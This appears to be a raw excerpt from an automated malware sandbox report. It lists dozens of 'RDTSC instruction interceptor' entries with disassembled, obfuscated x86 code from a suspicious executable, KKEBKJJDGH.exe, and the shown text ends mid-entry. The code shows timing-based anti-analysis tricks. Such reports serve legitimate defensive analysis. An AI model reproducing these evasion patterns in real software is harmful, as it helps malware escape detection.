Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 43C2DC second address: 43C34B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push edi 0x0000000b call 00007F742CC44208h 0x00000010 pop edi 0x00000011 mov dword ptr [esp+04h], edi 0x00000015 add dword ptr [esp+04h], 00000019h 0x0000001d inc edi 0x0000001e push edi 0x0000001f ret 0x00000020 pop edi 0x00000021 ret 0x00000022 mov edi, dword ptr [ebp+122D3692h] 0x00000028 push 00000000h 0x0000002a push 00000000h 0x0000002c push edx 0x0000002d call 00007F742CC44208h 0x00000032 pop edx 0x00000033 mov dword ptr [esp+04h], edx 0x00000037 add dword ptr [esp+04h], 0000001Ah 0x0000003f inc edx 0x00000040 push edx 0x00000041 ret 0x00000042 pop edx 0x00000043 ret 0x00000044 mov edx, dword ptr [ebp+122D36EAh] 0x0000004a call 00007F742CC44209h 0x0000004f push ebx 0x00000050 push eax 0x00000051 push edx 0x00000052 jmp 00007F742CC4420Ah 0x00000057 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 43C34B second address: 43C36F instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F742CEB81D9h 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 43C36F second address: 43C39F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F742CC4420Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebx 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e jbe 00007F742CC44212h 0x00000014 jbe 00007F742CC4420Ch 0x0000001a je 00007F742CC44206h 0x00000020 mov eax, dword ptr [eax] 0x00000022 push eax 0x00000023 je 00007F742CC4420Ch 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 43C4CF second address: 43C4E4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F742CEB81D1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 43C4E4 second address: 43C4EA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 43C4EA second address: 43C4EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 43C4EE second address: 43C501 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jno 00007F742CC44208h 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 43C501 second address: 43C529 instructions: 0x00000000 rdtsc 0x00000002 js 00007F742CEB81C8h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 js 00007F742CEB81E2h 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F742CEB81D0h 0x0000001d rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 43C529 second address: 43C53A instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F742CC44206h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [eax] 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 43C53A second address: 43C545 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F742CEB81C6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 43C545 second address: 43C5C6 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F742CC44218h 0x00000008 jmp 00007F742CC44212h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f mov dword ptr [esp+04h], eax 0x00000013 push edi 0x00000014 pushad 0x00000015 jmp 00007F742CC44214h 0x0000001a pushad 0x0000001b popad 0x0000001c popad 0x0000001d pop edi 0x0000001e pop eax 0x0000001f mov dword ptr [ebp+122D33B3h], ebx 0x00000025 push 00000003h 0x00000027 push 00000000h 0x00000029 push esi 0x0000002a call 00007F742CC44208h 0x0000002f pop esi 0x00000030 mov dword ptr [esp+04h], esi 0x00000034 add dword ptr [esp+04h], 00000014h 0x0000003c inc esi 0x0000003d push esi 0x0000003e ret 0x0000003f pop esi 0x00000040 ret 0x00000041 mov esi, dword ptr [ebp+122D2DB9h] 0x00000047 push 00000000h 0x00000049 mov edx, ebx 0x0000004b push 00000003h 0x0000004d jmp 00007F742CC4420Ch 0x00000052 push E025D071h 0x00000057 pushad 0x00000058 push eax 0x00000059 push edx 0x0000005a push edi 0x0000005b pop edi 0x0000005c rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 43C5C6 second address: 43C5DD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F742CEB81D0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 44CFFB second address: 44D001 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 45AAD6 second address: 45AAF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 jmp 00007F742CEB81CAh 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e pop eax 0x0000000f popad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 push ecx 0x00000016 pop ecx 0x00000017 push eax 0x00000018 pop eax 0x00000019 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 45AAF4 second address: 45AB0C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 ja 00007F742CC44206h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F742CC4420Ch 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 45AB0C second address: 45AB12 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 45AB12 second address: 45AB18 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 45AC9A second address: 45ACA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 45ACA0 second address: 45ACA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 45ACA6 second address: 45ACB1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 pushad 0x00000007 popad 0x00000008 pushad 0x00000009 popad 0x0000000a pop ecx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 45ACB1 second address: 45ACBD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007F742CC44206h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 45ACBD second address: 45ACC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 45B1BE second address: 45B1D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jnl 00007F742CC44212h 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 45B1D9 second address: 45B1DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 41BF25 second address: 41BF32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 pushad 0x00000009 popad 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 463FAB second address: 463FB0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 463FB0 second address: 463FB6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 464101 second address: 464114 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F742CEB81C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b mov dword ptr [esp+04h], eax 0x0000000f pushad 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 464114 second address: 46411A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4628BA second address: 4628C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 463030 second address: 463034 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 463034 second address: 46303A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 46431F second address: 464325 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 464325 second address: 46432F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F742CEB81C6h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 46432F second address: 46433D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 46433D second address: 464347 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 466CC4 second address: 466CE8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jnc 00007F742CC44208h 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F742CC44210h 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 466CE8 second address: 466D23 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F742CEB81C6h 0x00000008 jnl 00007F742CEB81C6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F742CEB81D2h 0x00000017 jmp 00007F742CEB81D7h 0x0000001c rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 466EA1 second address: 466ED1 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F742CC44206h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f push eax 0x00000010 pop eax 0x00000011 push eax 0x00000012 pop eax 0x00000013 jmp 00007F742CC4420Dh 0x00000018 popad 0x00000019 popad 0x0000001a push ecx 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007F742CC4420Bh 0x00000022 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 466ED1 second address: 466ED5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 466ED5 second address: 466EDB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 466EDB second address: 466EE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jl 00007F742CEB81C6h 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 467042 second address: 467051 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jp 00007F742CC44206h 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 467051 second address: 46706F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F742CEB81D6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 46706F second address: 467075 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 467075 second address: 46707B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4675AB second address: 4675DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop ecx 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F742CC44216h 0x00000010 jmp 00007F742CC4420Fh 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4675DB second address: 4675DF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 46AAEC second address: 46AAF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 46B8AD second address: 46B903 instructions: 0x00000000 rdtsc 0x00000002 je 00007F742CEB81CCh 0x00000008 jno 00007F742CEB81C6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 xchg eax, ebx 0x00000011 push 00000000h 0x00000013 push ebx 0x00000014 call 00007F742CEB81C8h 0x00000019 pop ebx 0x0000001a mov dword ptr [esp+04h], ebx 0x0000001e add dword ptr [esp+04h], 0000001Bh 0x00000026 inc ebx 0x00000027 push ebx 0x00000028 ret 0x00000029 pop ebx 0x0000002a ret 0x0000002b mov esi, dword ptr [ebp+122D1B4Eh] 0x00000031 nop 0x00000032 pushad 0x00000033 push eax 0x00000034 push edx 0x00000035 jmp 00007F742CEB81D8h 0x0000003a rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 46B903 second address: 46B907 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 46BD1A second address: 46BD1F instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 46BE02 second address: 46BE1A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F742CC44214h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 46BE6A second address: 46BE6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 46BE6E second address: 46BE72 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 46BE72 second address: 46BE78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 46BE78 second address: 46BE8B instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a pushad 0x0000000b jno 00007F742CC44206h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 46C394 second address: 46C39E instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F742CEB81C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 46C39E second address: 46C3A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007F742CC44206h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 46C3A8 second address: 46C3BB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edi 0x0000000a pushad 0x0000000b jns 00007F742CEB81C6h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 46CBC7 second address: 46CBE5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F742CC44213h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 46CBE5 second address: 46CC00 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F742CEB81D7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 46E899 second address: 46E89D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 46E89D second address: 46E8A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 46E8A3 second address: 46E8A8 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 46E8A8 second address: 46E92D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push ebx 0x0000000d call 00007F742CEB81C8h 0x00000012 pop ebx 0x00000013 mov dword ptr [esp+04h], ebx 0x00000017 add dword ptr [esp+04h], 00000019h 0x0000001f inc ebx 0x00000020 push ebx 0x00000021 ret 0x00000022 pop ebx 0x00000023 ret 0x00000024 jnc 00007F742CEB81D8h 0x0000002a mov dword ptr [ebp+12473A54h], eax 0x00000030 push 00000000h 0x00000032 push ecx 0x00000033 sub edi, dword ptr [ebp+122D31C6h] 0x00000039 pop esi 0x0000003a push 00000000h 0x0000003c push 00000000h 0x0000003e push eax 0x0000003f call 00007F742CEB81C8h 0x00000044 pop eax 0x00000045 mov dword ptr [esp+04h], eax 0x00000049 add dword ptr [esp+04h], 00000017h 0x00000051 inc eax 0x00000052 push eax 0x00000053 ret 0x00000054 pop eax 0x00000055 ret 0x00000056 and di, FCC4h 0x0000005b and esi, 54AB21E2h 0x00000061 push eax 0x00000062 push eax 0x00000063 push edx 0x00000064 pushad 0x00000065 push eax 0x00000066 push edx 0x00000067 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 46E92D second address: 46E934 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 470844 second address: 47086F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F742CEB81D8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jns 00007F742CEB81CCh 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 47086F second address: 470875 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 470875 second address: 4708FD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 mov si, di 0x0000000c push 00000000h 0x0000000e pushad 0x0000000f jno 00007F742CEB81CCh 0x00000015 mov edi, edx 0x00000017 popad 0x00000018 pushad 0x00000019 jmp 00007F742CEB81D0h 0x0000001e js 00007F742CEB81C9h 0x00000024 movzx eax, si 0x00000027 popad 0x00000028 push 00000000h 0x0000002a push 00000000h 0x0000002c push ebp 0x0000002d call 00007F742CEB81C8h 0x00000032 pop ebp 0x00000033 mov dword ptr [esp+04h], ebp 0x00000037 add dword ptr [esp+04h], 00000018h 0x0000003f inc ebp 0x00000040 push ebp 0x00000041 ret 0x00000042 pop ebp 0x00000043 ret 0x00000044 jg 00007F742CEB81D4h 0x0000004a mov dword ptr [ebp+122D3385h], edi 0x00000050 push eax 0x00000051 pushad 0x00000052 pushad 0x00000053 jmp 00007F742CEB81CEh 0x00000058 push eax 0x00000059 push edx 0x0000005a rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 46FC25 second address: 46FC29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 46FC29 second address: 46FC2D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 47261A second address: 47261E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 47261E second address: 472622 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 473B4E second address: 473B58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 473B58 second address: 473BC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 mov dword ptr [esp], eax 0x00000009 add dword ptr [ebp+122D17BDh], esi 0x0000000f push 00000000h 0x00000011 push 00000000h 0x00000013 push edx 0x00000014 call 00007F742CEB81C8h 0x00000019 pop edx 0x0000001a mov dword ptr [esp+04h], edx 0x0000001e add dword ptr [esp+04h], 0000001Ah 0x00000026 inc edx 0x00000027 push edx 0x00000028 ret 0x00000029 pop edx 0x0000002a ret 0x0000002b sub di, 7DB7h 0x00000030 push 00000000h 0x00000032 push 00000000h 0x00000034 push eax 0x00000035 call 00007F742CEB81C8h 0x0000003a pop eax 0x0000003b mov dword ptr [esp+04h], eax 0x0000003f add dword ptr [esp+04h], 00000016h 0x00000047 inc eax 0x00000048 push eax 0x00000049 ret 0x0000004a pop eax 0x0000004b ret 0x0000004c xchg eax, esi 0x0000004d push eax 0x0000004e push ebx 0x0000004f jp 00007F742CEB81C6h 0x00000055 pop ebx 0x00000056 pop eax 0x00000057 push eax 0x00000058 pushad 0x00000059 push eax 0x0000005a push edx 0x0000005b pushad 0x0000005c popad 